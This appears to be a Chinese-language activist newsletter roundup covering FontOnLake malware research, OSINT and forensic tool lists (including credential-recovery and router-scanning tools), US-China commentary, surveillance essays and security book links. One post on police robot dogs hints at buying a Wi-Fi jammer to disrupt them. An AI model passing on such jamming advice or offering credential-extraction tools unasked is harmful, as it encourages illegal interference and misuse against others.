据网络安全公司 ESET 的研究人员称，这种名为 FontOnLake 的恶意软件似乎是精心设计的，虽然正在积极开发，但已经包括远程访问选项、凭证盗窃功能，并能够初始化代理服务器。

FontOnLake 样本于2020年5月首次出现在 VirusTotal 上，但与这些文件相连的命令和控制（C2）服务器被禁用，研究人员说这可能是由于上传的原因。

研究人员指出，该恶意软件所针对的 Linux 系统可能位于包括东南亚在内的地区。

ESET认为，操作者对被抓住和他们的活动暴露“过于谨慎”，因为几乎所有获得的样本都使用不同的C2服务器地址和各种端口。此外，该恶意软件的作者利用了C/C＋＋和一些第三方库，如 Boost 和 Protobuf。

FontOnLake 是模块化的恶意软件，利用自定义二进制文件来感染目标机器并执行恶意代码。虽然ESET仍在调查FontOnLake，但该公司表示，在其已知的组件中，有被用来加载后门、rootkits和收集信息的木马应用程序。

总共有三个后门也与 FontOnLake 有关。这些后门都是用C＋＋编写的，并创建了一个通往同一C2的桥梁，用于数据外流。此外，它们能够发出“心跳”命令，以保持这种连接的活性。

FontOnLake 总是与一个内核模式的 rootkit 一起，在受感染的 Linux 机器上保持持久性。据 Avast 称，该 rootkit 是基于开源的 Suterusu 项目。

以下是ESET发布的技术白皮书，研究 FontOnLake。

下载：https://t.me/iyouport/8865

下载：https://www.patreon.com/posts/yi-chong-yi-qian-57303047

1. OSINT #Security 如果您负责团队、组织、公司的安全，以下是您可能需要安装的应用程序:

briar (Security Messenger)

tinycammonitor (Cameras App)

netanalyzer (Network Analyzer)

haven (Snowden Security App)

ripple (Panic Button)

metal_detector (Metal Sniffer)

sherloq (Image Forensic)

videocleaner (Video Enhancer)

smartdeblur (Video Enhancer)

mobile_revelator (Smartphone Forensic)

passware (Encryption Analyzer)

bulk_extractor (Info Extractor)

routerscan (Router Scanner)

canary (IP Logger)

exiftool (Photo Metadata)

belkasoft (Capture RAM)

networkminer (Network Forensic)

lastactivityview (Windows Activity)

usb_historian (Parse USB)

faw (Forensic Webpages)

foxtonforensics (Browser History)

lazagne (Credentials Recovery)

autopsy (Forensics Platform)

乔拜登将美国的外交政策和军事战略的重点重新放在两大对手身上：俄罗斯和中国，尤其是后者——

「图」

中国是世界第二大经济体；其价值数万亿美元的“一带一路”倡议将其经济触角延伸到了亚洲和欧洲以及非洲；其领导人习使其国家成为“世界级”军事强国的承诺正在逐步推进；中国处于美国政策和战略的中心；中国在南海建岛的咄咄逼人的行动和在台湾附近的威胁性军事演习，已经清楚地表明了其野心。

前总统特朗普以其典型的反复无常的方式向中国提出挑战。作为候选

人时，特朗普经常在推特和演讲中批评中国，指责中国操纵货币，盗窃知识产权，以及造成巨大的贸易不平衡。特朗普对中国的咆哮很好地迎合了他的小企业主和锈带工人选民的基础。

作为总统时期，特朗普与中国展开了贸易战，每个国家都对价值数千亿美元的商品征收关税。但这导致了美国经济的放缓。数十万美国工作岗位流失，许多美国农民破产—— 贸易赤字仍在增长。然而，他的支持基础仍然忠诚。

特朗普的信息是混合的。他赞扬了中国国家元首习近平的领导力，称他为 “朋友” 和 “不可思议的人”；他赞扬了习近平对香港抗议活动的处理，众所周知北京政府扼杀了那里的民主运动；而特朗普拒绝就新疆集中营中被关押的百万维吾尔人发表意见。(特朗普收紧了出口和投资控制，而中国最终签署了一项协议，承诺停止货币操纵和知识产权盗窃行为）。

现在，拜登计划在美国、澳大利亚、日本和印度组成的四国联盟中建立抵制中国的力量。

拜登应对中国挑战的方法完全不同。

首先，它主要侧重于地缘政治和军事战略。拜登政府与澳大利亚签署协议为其提供核潜艇就清楚地表明了这一点。拜登希望在 “四方”联盟（由美国、印度、日本和澳大利亚组成的联盟）的基础上，建立一个更强大的联盟来遏制中国。

顺便说，上周的最新情报显示，军情六处和印度的外部情报机构RAW联合成立了一个“阿富汗联合工作组”；新德里现在是阿富汗情报中心。此事颇有深意（就如我们在分析阿富汗撤军时所指出的）。

第二，拜登希望重新谈判跨太平洋伙伴关系，这是一个经济联盟，由奥巴马在2016年与十多个环太平洋国家谈判达成。特朗普在上任的第一天就将美国从TPP中撤出。拜登对TPP的重新谈判将为对抗中国打下坚实的经济基础。

反对中国的声音在美国社会很受欢迎。将中国视为国家最大敌人的美国人的比例在过去一年中翻了一番，从22%上升到45%。

美国左翼由于没有强大的反战运动，几乎没有能力抵制日益增长的军国主义；甚至少部分美国左翼表现出明显的偏执，对中国的独裁政权和潜在的帝国野心视而不见，去支持中国，欲以中国为 “杠杆”。

下面即将上传的这份文档有一个重要的立场，它督促西方左翼正视并尊重自己的战略，不要被统治阶级的宣称和行动所污染，即：认识到有多个帝国主义大国的存在，建立一个抵抗帝国主义野心的根本性运动—— 当然要包括抵抗俄罗斯和中国。

我们在去年底的对话中已经强调了这几个关键问题：

1、拜登政府将继续对抗中国；即便您仅仅寄希望于地缘政治而不是自身的反抗，您也完全没有必要只支持特朗普；

2、打破高堡奇人的最佳方式是，两个帝国的反抗者联合起来。但这也是难度最高的战略，打破洗脑墙的难度远高于打破GFW；

3、在民族国家的语境中是无法讨论权利的，更不用说追求了。全世界统治阶级都在致力于将我们所有人每时每刻禁锢在民族国家的语境中，这就是Matrix；尤其是中国人，特别需要警惕这一操纵，因为你们遭受宣传的毒害最为深刻；

4、始终用事实对话，而不是你的信念和立场。这非常重要。

📌 这份近日出版的文档很好地总结了我们去年底强调的这些关键—— 呼应已经实现。非常感谢西方的反抗者们为所有人带来珍贵的思考。

在这里回顾我们的对话《打破 Matrix 的路 ~ 与IYP对话2020：关于中国和美国》。

下载：https://t.me/iyouport/8871

下载：https://www.patreon.com/posts/qiao-bai-deng-de-57502796

一款名叫QuickFox的翻墙软件事实上泄露了超过一百万用户的数据—— 有姓名、电话号码、设备上安装的其他软件的信息，等等；包括用户的真实IP和该服务分配给每个人的IP。

这些数据的特点是：没有进行加密。大多数用户来自美国、日本、印度尼西亚和哈萨克斯坦。

Quickfox 是一个VPN，它允许你在中国境外打开一些只能在中国国内使用的中国网站。

1. leaks #VPN #China

当民族国家转变为一个庞大的数据库 ——

「图」

推荐一份该主题中非常杰出的论文—— 对基于生物识别技术的国家身份识别大规模监控基础设施的民族志研究。这种大规模监控目前已经在全世界布设，如您所知的生物识别身份证、语音识别数据库、强行收集公民DNA的数据库等等。于是这个主题非常重要。

该监视系统的设计者使用构建沙漏的比喻来描述他们的工作：唯一身份识别码及其认证服务构成了这个沙漏的腰部；下面部分是生物识别设备的创新，上面部分是需要身份验证服务的应用程序。设计者坚信维持整个监控生态系统可以通过规定腰部与上下组件之间的相互作用来控制。

最重要的是，他们扩展了这个比喻，将政府重新想象为一个服务平台，它只控制服务的特定部分—— 腰部—— 同时通过将其与上下其他市场服务整合来为创新开辟空间。

这份论文记录了这种 “平台化” 政府收集实时公民数据以支持其个性化的国家-公民互动的想象的出现，以揭示政府服务的未来如何塑造和如何被它所塑造—— 这样的未来构成了人口作为数据库、官僚机构作为中央仪表板、政府作为公民数据流通的仲裁者。

这是一个平台化国家的持续转型。这篇论文表明，每个沙漏在协商腰部与其上下组件之间的功效方面都有其自身的挑战。沙漏不能解决控制问题，而是重新分配控制问题。它的重新分配分散了问责制。不同的官僚机构管理自己的唯一生物识别码公民记录；因此，维护公民记录的责任在官僚机构中分散。近期出现的生物识别数据泄露就证明了这种分散。

论文指出，唯一身份识别码的基础设施过程最终将是 “黑箱‘，即隐藏起来，以便实际上将唯一识别码的官僚权威确立为居民身份的稳定标志。居民丰富的多维人格被按照简约单一的还原数据进行标准化，为身份识别码的流通创造条件 ……而只有在其基础设施设置完全满足的条件下，唯一身份识别码才能保持其脆弱的功效，以确保识别码和登记者之间的一对一对应。

最终，他们将国家概念化为公民记录数据库，将公民概念化为独特的数据记录，与公共/私人服务的仪表板进行交易。

这意味着将一个民族国家转变为一个庞大的数据库 …… 所以，您明白了，这篇论文的标题很深刻：《Give Me a Database and I Will Raise the Nation-State》

下载：https://t.me/iyouport/8874

下载：https://www.patreon.com/posts/dang-min-zu-guo-57257179

《DOCUMENTING DURING INTERNET SHUTDOWNS: FULL BLOG SERIES》

「图」

断网后怎么办：指南——

「图」

我们曾经发布过5集内容，关于《如何应对断网》主要为活动家在断网后能够继续工作介绍一些技术工具和安全经验。

在全世界，每一次集体行动和/或选举活动，都有可能首先导致断网，于是，行动者应对断网的技能必需被列入行动主义首要技能范围内。

这份指南通过与经历过互联网关闭的活动家的广泛合作，总结了一些有用的技巧和方法，以便在互联网关闭期间捕捉和保存视频文件，继续公民调查的工作、并在行动中传递信息。

这些提示主要考虑到安卓设备，但也可以应用于iPhone。正如我们在上述系列中强调过的👆，有些策略需要提前计划 —— 也就是说，往往需要在还有互联网的情况下进行一些设置，所以，在您没有网络而又需要记录的情况下，最好能做到准确回顾这些策略并实施任何步骤。

保存一份教程的副本，这样您就可以在断网时参考它们或分享它们。

最后，在您的日常工作中开始练习这些技术和方法，是很重要的，以便您在处于危机状况之前已经能够做到熟练使用它们。

如果您更喜欢阅读中文，我们提供的5集指南已经足够您使用。英文版则更详细，您可以在下面下载它。

下载：https://t.me/iyouport/8879

下载：https://www.patreon.com/posts/duan-wang-hou-55752020

On U.S. Intelligence’s Wiki, Anxiety About Legal Challenges To Drone Strikes

Read a never-before-published document leaked by Edward Snowden.

Intellipedia entry: “Targeted Killing-Policy, Legal and Ethical Controversy” (PDF)：https://t.me/iyouport/8880

https://files.shitpost.to/1wuhxi3b4rteumty.pdf?key=pw7xzUeWTflVGZD67DJggFweCnKmvV3n[[

「图」

Forever Wars

On U.S. Intelligence’s Wiki, Anxiety About Legal Challenges To Drone Strikes

Additional reporting by Laura Poitras Edited by Sam Thielman…

Read more

3 years ago · 13 likes · 2 comments · Spencer Ackerman

|https://foreverwars.substack.com/p/us-intelligence-wiki-targeted-killing?utm_source=substack&utm_campaign=post_embed&utm_mediun

https://nitter.pussthecat.org/Snowden/status/1451616535706013733

《2021 Learning Go: An Idiomatic Approach to Real-World Go Programming》

「图」

在2021年成为Go语言专家——

「图」

Go 正在迅速成为构建web服务的首选语言。虽然有很多教程向有其他编程语言经验的开发者传授Go的语法，但仅有教程是不够的。它们没有教授Go的习语，所以开发者最终会创造出在Go背景下没有意义的模式。这本新的实用指南旨在解决这个问题。

无论您的经验水平如何，您都将学会如何像Go开发人员一样思考。作者 Jon Bodner 介绍了经验丰富的Go开发者所采用的设计模式，并探讨了使用这些模式的理由。您还将提前了解Go即将推出的泛型支持，以及它是如何融入语言的。

- 学习如何在Go中编写习语代码并设计一个Go项目
- 理解Go中设计决策的原因
- 为单独的开发人员或团队建立Go的开发环境
- 了解如何以及何时使用反射、unsafe和cgo
- 了解 Go 的特性如何使该语言有效地运行
- 了解哪些 Go 特性您应该少用或根本不用

下载：https://t.me/iyouport/8883

下载：https://www.patreon.com/posts/zai-2021nian-wei-55868746

转帖——

「图」

大V的被捕再一次引起了人们对言论管制的危机感和压力。问「我们还有讨论空间吗？」

是的，有。而且一直都有。但问题就在于，真正的空间之所以仍是空间，因为它们不在或尚且不在当局的雷达视野内；然而，障碍也同时在这里—— 不在雷达视野内的议题，被讨论者所忽视了，甚至被贬低为 “没有价值”。

被抓捕、被封杀才能 “证明价值”？不，这是荒谬的标准。IYP多年来一直在强调警惕的 *恶意愚蠢*，正是对这一荒谬标准的反驳。即 审查是故意的愚蠢，它旨在让人们相信那些事实上并没有意义的嘲讽和批评 “具有威胁性”。

请注意，这*绝非*所谓的 “擦边球”！而是对恶意愚蠢的反向利用和反击。

行动者的胜算根本性地取决于创造力而非包括武力、勇气、士气在内的等等其他东西—— 也就是说，你需要从你的对手尚未觉察到的位置开始，即 雷达视野之外—“空间”，让镇压套路失去反应能力。

换言之，你需要的是牢牢把握住空间，开辟空间，深入空间，而非在 “没有空间” 的叹息中消耗自己。就如那些在维权和上访中消耗掉精力的人们，已经难以理解自治主义的真正颠覆性价值。

绝不否认，空间只会越来越小，但是，即便我们只能讨论一部电影、或电视剧、或一部小说，它也很容易绕开雷达的视野，**只要能深入它**，它就将有可能具有极高的*战略辩论*价值。

作为例子，比如《纸钞屋》，这是一个强大的直接行动教程，一个具有现实寓意的演练；但是它的缺陷是什么？…… 或者，《鱿鱼游戏》，想象一下，如果在下一季中，被压迫者冲上观赛台，那些VIPs会怎么样？…… 更简单的，甚至可以是，比如《无暇赴死》那样的纯商业片，007使用的手机为什么无法让它完成任务（安全性问题Q&A）……

上述只是随口说说的简单话题，基于社交媒体人们的常规水平，它们就完全可以深入到行动主义战略层面。Alphin 最近出了一本新书，就是从热门科幻小说入手，阐述和论述新自由主义生物政治学这一关键议题的—— 从生物政治学、到激化、复原力、到加速主义。你知道，这个议题的深入角度在当下具有格外重要的意义。

so 问题并不在于有没有讨论空间，而是，在现有的讨论空间内，为什么我们无法深入到可激发现实的变革意义的层面？

我们在哪里消耗了精力、电力和流量？

1. tools cyb_detective 发布了一个新的工具，开源情报地图。在两年多的时间里，他收集了关于公共交通、商业登记、车辆信息、地籍图等等方面的链接，现在已经将它们绘制在地图上。很多国家都纳入其中了，但有些国家仍然缺少链接，所以欢迎任何人把缺少的国家加入到他的 GitHub repo 中。

Link: https://cipher387.github.io/osintmap/

1. tools 网站 Advangle 是一个在线工具，可以帮助您通过互动菜

单创建谷歌和必应的搜索查询。

请注意它不是新工具，它于2013年建成，从外观上看，从那时起它甚至没有被更新，甚至没有通过HTTPS。

但是，如果您对编写复杂的搜索查询有点陌生，或者喜欢将您的搜索可视化，这个网站是必须的。只需逐一添加您的条件和属性，然后点击要查询的搜索引擎即可，非常容易。请记得使用代理。

Link: http://advangle.com/

[罗马，意大利] 昨天晚上，在反对将 Covid-19 健康通行证监控系统扩展到所有工作场所的广泛抗议中，一群极右翼组织 Forza Nuova 的成员袭击并占领了意大利劳工联合会总部。

此事颇具代表性。在全球范围内，极右势力在反政府抗议的虚伪幌子下招募人员，并取得了巨大的成功，他们将无知作为武器，用来操纵那些虚无绝望士气萎靡的人们。

对于进步派活动家来说尤其需要警惕这种趋势：您不能只是努力做好主观的倡导工作，还要不断从客观角度审视和检查您的运动/行动，及时排除污染；因为统治阶级非常擅长利用这种污染去合法化他们的暴力镇压，他们所控制的媒体也非常乐于推动他们的谎言。甚至在很多情况下已经证实，极右翼分子与警察和镇压部队合谋，而镇压当局的枪口始终瞄准的是真正的变革推动者。

中国社会信用评分体系的首席设计师林钧跃，颂扬其价值和他对全球采用这一项目的「希望」，

他说：“如果你有了社会信用评分体系，你就永远不必担心黄背心[反抗运动]了，因为我们会在他们[反抗者]采取行动之前发现这一点。”

…… 林先生是 …… 非常诚实的人。

redact：构建去中心化的、端到端加密的网站工具

「图」

Redact是一个用于构建端到端加密的零信任网站的工具。这里的端到端加密是指，不仅您与网站服务器的连接受到TLS的保护，而且每个单独的输入字段，以及页面上显示的任何用户提交的数据，都是加密

的。

使用 Redact 的网站将在他们的数据库中存储对数据的引用，将这些引用放在他们的HTML中，当页面加载时，用户的设备以不透明的方式填补空白。在做到这一点时不使用Javascript，也不使用浏览器内加密。该工具就像是 Signal 那样的加密通信应用程序，但它是针对整个网站的，而不仅仅是消息。

这个项目最初的动机是对过去几年中出现的大量数据泄露和数据隐私问题的回应。想回答的基本问题是：如何才能在现代浏览器中保持网站的实用性和丰富的内容体验，同时保证用户的数据不会被窃取、不会被不道德地使用？于是提出了这个解决方案：Redact。

创建者认为这个项目完全符合 “web3” 的范畴。虽然不使用区块链，但该项目假定了零信任，分散了用户数据的存储，并允许用户通过赋予他们对其数据的所有权和控制权来实现自我主权。

您可以在这里找到更多关于它如何工作的信息： https://redact.ws/how-it-works

这里有一个个入门文档，您可以试试看：https://docs.redact.ws/en/latest/getting-started.html

Codebases:

— Local client: https://github.com/pauwels-labs/redact-client.git

— Storage server: https://github.com/pauwels-labs/redact-store.git

— Library that allows us to fluidly serialize, deserialize, and CRUD encrypted data: https://github.com/pauwels-labs/redact-crypto.git

联邦调查局突击检查中国的POS终端巨头百富环球科技有限公司（PAX）——

「图」

美国联邦调查员今天突袭了PAX在佛罗里达州的办公室。PAX科技是一家中国的电子支付终端供应商，被全球数百万企业和零售商使用。KrebsOnSecurity 获悉，这次突袭与PAX的系统 “可能参与了对美国和欧盟组织的网络攻击有关”。

总部设在中国深圳的PAX科技公司在全球120个国家拥有超过6000万台POS终端。在一份官方声明中，调查人员只告诉当地媒体，作为联邦调查的一部分，他们正在仓库执行法院授权的搜查，包括海关和边境保护局以及海军罪案调查处（NCIS）。联邦调查局没有对评论请求作出回应。

几天前，KrebsOnSecurity 从一个可靠的消息来源得知，在美国一个主要的支付处理器开始询问来自该公司支付终端的异常网络数据包后，FBI开始调查PAX。

据该消息来源称，该支付机构发现PAX终端被用作恶意软件的 “投放器”，以及用作发动攻击和收集信息的 “命令和控制 [C&C] ”地点。

该消息人士说，“一个主要的美国支付处理商开始询问有关来自PAX终端的网络数据包的问题，但没有得到任何好的答案。”

KrebsOnSecurity 周日联系了 PAX Technology的CEO。该公司尚未对评论请求作出回应。

该消息人士还说，两个主要的金融供应商—— 一个在美国，一个在英国—— 已经开始从他们的支付基础设施中撤出PAX终端，这一说法得到了两个不同消息来源的验证。

“我的消息来源说，有技术证明这些终端被用于攻击行动的方式”，该消息来源说，“数据包大小与他们应该发送的支付数据不匹配，也与这些设备在更新软件时可能显示的遥测数据不相关。PAX现在声称，该调查是出于种族和政治动机“。

https://krebsonsecurity.com/2021/10/fbi-raids-chinese-point-of-sale-giant-pax-technology/

《爱国者法案》和挑战大规模监控的吹哨人们 ——

「图」

马克·克莱因在美国电话电报公司（AT&T）担任技术员超过20年。他揭发了AT&T与国家安全局的秘密合作，允许间谍机构随意无证监听公民的电话通话和互联网通信。

2006年，克莱因向电子前线基金会（EFF）提供了AT&T参与美国国内间谍活动的文件。此后他的吹哨成为EFF对国家安全局提起诉讼的

基础。

据EFF的工作人员律师凯文·班克斯顿（Kevin Bankston）说，克莱因描述了“AT&T参与该监视计划背后的技术，据此，国家安全局被允许完全访问通过AT&T设施的所有互联网流量”。

在美国电话电报公司的办公室里建造了一个由国家安全局控制的秘密房间，分流器复制了通过光缆传输的所有信号，以使政府能够获得美国电话电报公司所有客户的私人数据。

2001年的《爱国者法案》，有助于创造一种“国安氛围”，鼓励AT&T和国家安全局之间的这种公私监控伙伴关系。

该法案于2001年10月26日由乔治·W·布什总统签署成为法律。该立法的各个版本在当年10月早些时候已经获得通过，这些版本给予政府扩大化的权力，以从事大规模监控和数据收集，包括针对美国公民。

然而，只有少数国会议员对克莱因和其他吹哨人所揭露的滥用职权的类型提出了反对意见。

【这不是新闻。您可以在我们的 列表-2 “公私监控伙伴关系” 板块中看到各种同类的恐怖丑闻。如您所知，它也没有民族国家特殊性。 除了直接行动彻底摆脱集中化的**ISP**，没有任何其他有效解决方案。】

https://shadowproof.com/2021/10/26/patriot-act-at-20-whistleblowing-against-mass-surveillance/

超越**VPN**：“终极”在线隐私——

「图」

在线隐私对你意味着什么？

也许它是为确保你的在线信息不被政府和间谍窥视；也许它是让你的浏览行为不被广告商发现；或者，像今天的许多人一样，使用VPN来向互联网服务提供商(ISP)隐藏自己的在线活动。

这里是对Tor项目执行主任Isabella Bagueros的采访，帮助您了解：即使使用VPN，您依旧容易受到哪些其他类型的在线跟踪？您还可以如何在网上保持隐私？以及，为什么您 应该谨慎相信任何一个单一的**VPN**。

音频在线听：https://t.me/iyouport/8901

好啦，就是这样！希望本次更新中的内容对您有用。我们下次见。〇

原文

IYP优秀书籍汇总2021（11 ~ 12 月版） - 完全免费下载 - iyouport

免费书和纪录片

本系列在双月的月底更新

Hi 朋友，这里是我们2021年的最后一次汇总。您可以在下面查看过往汇总内容，相关内容收纳在 列表-5 “免费书籍和纪录片” 板块中：

- 《IYP优秀书籍年度汇总2019—在线下载免费阅读》
- 《IYP 优秀书籍汇总2020（1 ~ 2月版）—完全免费下载》
- 《IYP优秀书籍汇总2020（3 ~ 4 月版）》
- 《2020（5 ~ 6月版）》
- 《2020（7 ~ 8月版）〉
- 〈2020（9 ~ 10月版）〉
- 〈2020（11 ~ 12月版）〉
- 〈2021年 1 ~ 2月版〉
- 〈2021（3 ~ 4月版）〉
- 〈2021（5 ~ 6月）〉
- 〈2021（7 ~ 8月）〉
- 〈2021（09 ~ 10 月版）〉

一如既往，希望本次的汇总中有您喜欢的内容。

《RANSOMWARE ATTACKS, ALL CONCERNED—HOW TO PREVENT THEM AND RESPOND TO AN INCIDENT》

「图」

关于勒索软件攻击，您应该知道的一切——

「图」

勒索软件攻击事件空前增多。面对这种情况，ANSSI与司法部刑事事项和赦免局（DACG）合作，出版了这本旨在帮助您防御勒索软件攻击的意识指南—— 如何防止攻击和应对攻击事件。

法国媒体控股公司Groupe M6、鲁昂大学医院中心和法国农业食品企业 Fleury Michon，都是2019年勒索软件攻击的受害者，他们在这份针对公司和地方当局的指南中给出了深刻的证词。

勒索软件攻击的频率和复杂程度都在增加。它们会对业务的连续性产生严重的后果，甚至危及目标组织的生存。

该指南非常实用，特别是针对私营部门、企业和组织来说。

这本指南得益于几个行动者的贡献和经验：cybermalveillance.gouv.fr 系统、打击网络犯罪大队（BL2C）、法国数据保护局（Commission nationale de l'informatique et des libertés, CNIL）和司法警察中央局（DCPJ）。

任何希望幸免于勒索软件的人都应该了解这些知识。

下载：https://t.me/iyouport/8912

下载；https://www.patreon.com/posts/guan-yu-le-suo-55899223

转帖 ——

「图」

国人对监视资本主义的理解如果仅限于上图，将非常悲惨。

你不该把噩梦当做玩笑。

这并不是一个电饭煲的问题，而是关于你的一切—— 从阶级身份到政治认知、从所见所闻到所思所想—— 都可能是那些你完全不知道是谁的人强加给你的。渐渐的，你不再能区分什么是植入什么是本心。

换句话说，它不是在满足你，而是在塑造你，按照那些幕后黑手的利益去定制你。在这个世界里你没有自主权，却误以为自己“有的选”；

这就是定制人：《算法暴政：定制人如何终结民主》。

定制人终结了民主；因为它消灭了人民—— 它把人变成了“消费者”，那个始终被控制着的木偶。

与木偶的区别在于，木偶知道自己身上的那些线的存在，而你不知道；

因为这里只有操纵者看得见你，看得到你的一切，而你看不到操纵者，这是一个单向镜。

揭开单向镜的另一面发生的事仅仅是摆脱绳索的第一步：《单向镜的背后》

基于我曾经强调的“现实至少有4层”，在这个话题上就是：

第1层：我靠淘宝认为我是屌丝！

第2层：我被监视了！而且是全面的监视，我的一切都在他们眼里。

第3层：监视不是摧毁基本人权这么简单，监视是为了操纵。

第4层：一切真的必须这样吗？并不是。它是强加给你的。如何摆脱它？

也许直到昨天为止，你仍然可以庆幸，因为至少你还有下线的选项。但是明天，很可能就没有了—— 当元宇宙成型时，没有人再能选择退出。

被收编的“世界头号黑客”凯文·米特尼克说过一句话 “You can’t download a patch for human stupidity.” 它可以用在当今几乎所有地方。

【顺便说，关于电饭煲，它的唯一功能应该是煮饭，它就应该是2～3百元人民币的价格。那些几千上万元的声称「智能」的东西，只是另一个更大的噩梦。】

提示：如何对付机器狗 ——

「图」

不幸的是，诸如机器狗这种的东西，将很快在全球出现。尤其是，如果您的政府热衷于所谓的「智能城市」的话。

如果您自己或者您附近的人正在被警察的机器狗残害，您需要想办法把手或者其他钩子之类的东西伸到机器狗的下腹部，抓住这个手柄，并向前拉。这可以把电池拉出来，使机器狗立即失去功能。

⚠ 请注意：务必让您的手远离机器狗的关节部分，否则**Spot**会压碎您的手指！

此外，它是纯光学的，意味着油漆、床单或毯子、胶带等等只要用对地方，就有可能反击它。

如果您觉得自己有创意，并能事先做好准备，您需要知道，在手动（即非自主）模式下，Spot实际上只是通过Wifi进行通信。

一个基于ESP2866的WiFi干扰器在亚马逊上售价40美元……（我什么都没说）。

1. tips 我们多次介绍过 #Maltego（在我们的ltelegram频道搜索它以找到相关内容）。您知道吗，Hunchly 有一些 Maltego 的转换功能，可以让您在该工具中导入 Hunchly 的案例；在导入一个案例后，所有捕获的页面、图像、选择器和对象都可以在 Maltego 中使用。

这里有一个很好的教程，如果您使用这两个工具，建议观看这个教程：

#Security #IoT How much does Alexa know about you? (Hint: A LOT)-

There’s new research showing just how much Alexa and other smart devices spy on you (Including Siri, Google Assistant, Cortana, & Bixby)

Welcome to the Surveillance Report—featuring Techlore & The New Oil to keep you updated on the newest security & privacy news. This report most notably recaps Android 12, Argentina getting pwned, breaking amazon news, wild browser fingerprinting research, Trump’s new social media and what it means for you, and more.

音频：https://t.me/iyouport/8913

安全工具 ——

「图」

您肯定已经看到过非常多的“替代工具列表”，IYP也多次做过这样的列表，比如谷歌服务替代品列表、分类安全工具箱等等，旨在帮助人们至少是逐步摆脱监视资本主义巨头公司的控制。

但也许您尚未熟悉那些替代品，以至于难以在需要某项功能的时候及时正确地想到它们。

现在有了一个网络扩展，它会在您键入巨头公司域名的时候将您重定向到替代品 —— 从 Twitter、YouTube、Instagram、谷歌地图、Reddit、谷歌搜索、和谷歌翻译等请求重定向到隐私友好的替代品：Nitter，Invidious，FreeTube，Bibliogram，OpenStreetMap，SimplyTranslate 和私密搜索引擎如 DuckDuckGo 和 Startpage。

它可以切换所有重定向的开与关。如果您没有选择任何实例，该扩展将默认使用随机实例：https://github.com/SimonBrazell/privacy-redirect

攻击者仍然可以轻易破解70%的Wi-Fi密码——

「图」

当前Wi-Fi标准的弱点和选择不当的密码使任何攻击者都能够破解70%的无线网络密码。

身份和访问管理供应商 CyberArk 的安全研究员 Ido Hoorvitch 发现，他仅仅通过使用他在以色列特拉维夫的街道上踩着自行车（有时是步行或开车）中所收集的信息，就可以恢复他所扫描的网络中超过70%的网络密码。

他使用了一个自制的无线扫描仪，该扫描仪基于一块50美元的网卡，与运行Ubuntu Linux 的笔记本电脑相连，加上GitHub上的Hcxdumptool 工具，以收集附近网络的Wi-Fi保护访问（WPA）数据包。

以色列的许多无线网络使用手机号码作为密码。使用由八个图形处理单元（GPU）组成的定制解密系统，Hoorvitch 可以在大约15秒内测试每个可能的密码。

“我们所有人都知道，密码是有问题的—— 它们太难记了。而如果它们很容易记住，那么它们就太容易被破解了”，Hoorvitch说。“这项研究的特别之处在于，它将一个假设转变为一个实证实验。我们现在知道，大多数网络的Wi-Fi密码确实不够安全”。

无线网络仍然是许多消费者和企业的一个薄弱环节。今年5月，纽约大学阿布扎比分校的一名博士研究员警告说，每一个Wi-Fi设备都容易受到三个设计缺陷中至少一个的影响，此前他花了九个月的时间帮助主要的无线设备制造商堵住这些漏洞。2017年，同一研究人员警告说，一系列问题可能允许攻击者进行密钥重装攻击（KRACK），以劫持无线连接。

此外，网络安全专家还警告说，弱的、默认的或容易猜到的密码都使无线网络处于危险之中。随着越来越多的员工在家工作，消费者Wi-Fi网络也已成为企业数据的网关。

CyberArk博客文章说：“被破坏的Wi-Fi网络的威胁给个人、小企业主和企业都带来了严重风险。正如我们所表明的，当攻击者可以相对容易地破解全球主要城市70%以上的Wi-Fi网络时，就必须更加注意保护自己。”

[秘鲁，阿亚库乔]

10 月 29 日，这是阿亚库乔地区抵制采矿工程的总罢工的第二天。抗议者冲出了警察包围圈，进入了Apumayo矿场的营地和设施，并纵火焚烧了矿区和重型机械.

【注】自2009年至今年7月，中国在秘鲁矿业部门的投资总额接近150亿美元，仅仅今年上半年，在秘鲁执行的22.74亿美元的采矿投资中，2.95亿美元来自中国。这是中国对这一重要且可持续发展的产业的大力参与。

📌 如果您尚未理解为什么秘鲁人要抗议采矿工程，推荐这本书：《外表是骗人的》。

您肯定已经看到过非常多的 “替代工具列表”，IYP也多次做过这样的列表，比如谷歌服务替代品列表、分类安全工具箱等等，旨在帮助人们至少是逐步摆脱监视资本主义巨头公司的控制。

但也许您尚未熟悉那些替代品，以至于难以在需要某项功能的时候及时正确地想到它们。

现在有了一个网络扩展，它会在您键入巨头公司域名的时候将您重定向到替代品—— 从 Twitter、YouTube、Instagram、谷歌地图、Reddit、谷歌搜索、和谷歌翻译等请求重定向到隐私友好的替代品：Nitter，Invidious，FreeTube，Bibliogram，OpenStreetMap，SimplyTranslate 和私密搜索引擎如 DuckDuckGo 和 Startpage。

它可以切换所有重定向的开与关。如果您没有选择任何实例，该扩展将默认使用随机实例。

https://github.com/SimonBrazell/privacy-redirec

《Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities EARLY ACCESS EDITION》

「图」

如何破解 Web 应用程序——

「图」

这本2021年的新书旨在教会您如何破解 Web 应用程序。您将学习到如何对目标进行侦察、如何识别漏洞、以及如何利用它们。您还将学习到如何找到公司设立的漏洞赏金计划，它们奖励安全专业人员在其 Web 应用程序中发现漏洞。

这本书旨在帮助几乎没有安全经验的初学者学习黑客技术，发现漏洞，并在这个蓬勃发展且利润丰厚的行业中保持竞争力。

您将首先学习如何选择一个程序，写出高质量的报告，并保持行业内的专业关系。然后您将学习如何建立一个网络黑客实验室，并使用代理来捕获流量。在这本书的第三部分，您将探索常见Web漏洞的机制，如XSS、SQL注入和模板注入，并获得关于如何发现它们并绕过常见保护措施的详细建议。您还将学习如何将多个bug连锁起来，使漏洞的影响最大化。

最后，这本书涉及到了黑客入门书籍中很少涉及的高级技术，但这些技术对于入侵Web应用是至关重要的。您将学会如何入侵移动应用程序，审查应用程序的源代码是否存在安全问题，发现API中的漏洞，并使您的黑客攻击过程自动化。在这本书结束时，您将学会必要的工

具和技术，成为一名合格的Web黑客，并在漏洞赏金计划中取得成功。

下载：https://t.me/iyouport/8937

下载：https://www.patreon.com/posts/ru-he-po-jie-web-55965843

《Programming Hardcore Programming for Mechanical Engineers: Build Engineering Applications from Scratch》

「图」

提升机械工程师的核心竞争力——

「图」

这本2021年的新书是为那些想要写出好的应用程序以解决棘手工程问题的中级程序员编写的 —— 和您一起从头开始学习。

如果您能用 Python 编程解决具有挑战性的工程问题会怎样？通过这本书的方法，您将学会如何使用线性代数、几何学和物理学从头开始编写解决方案，以编写自定义库、绘制基元和构建应用程序。

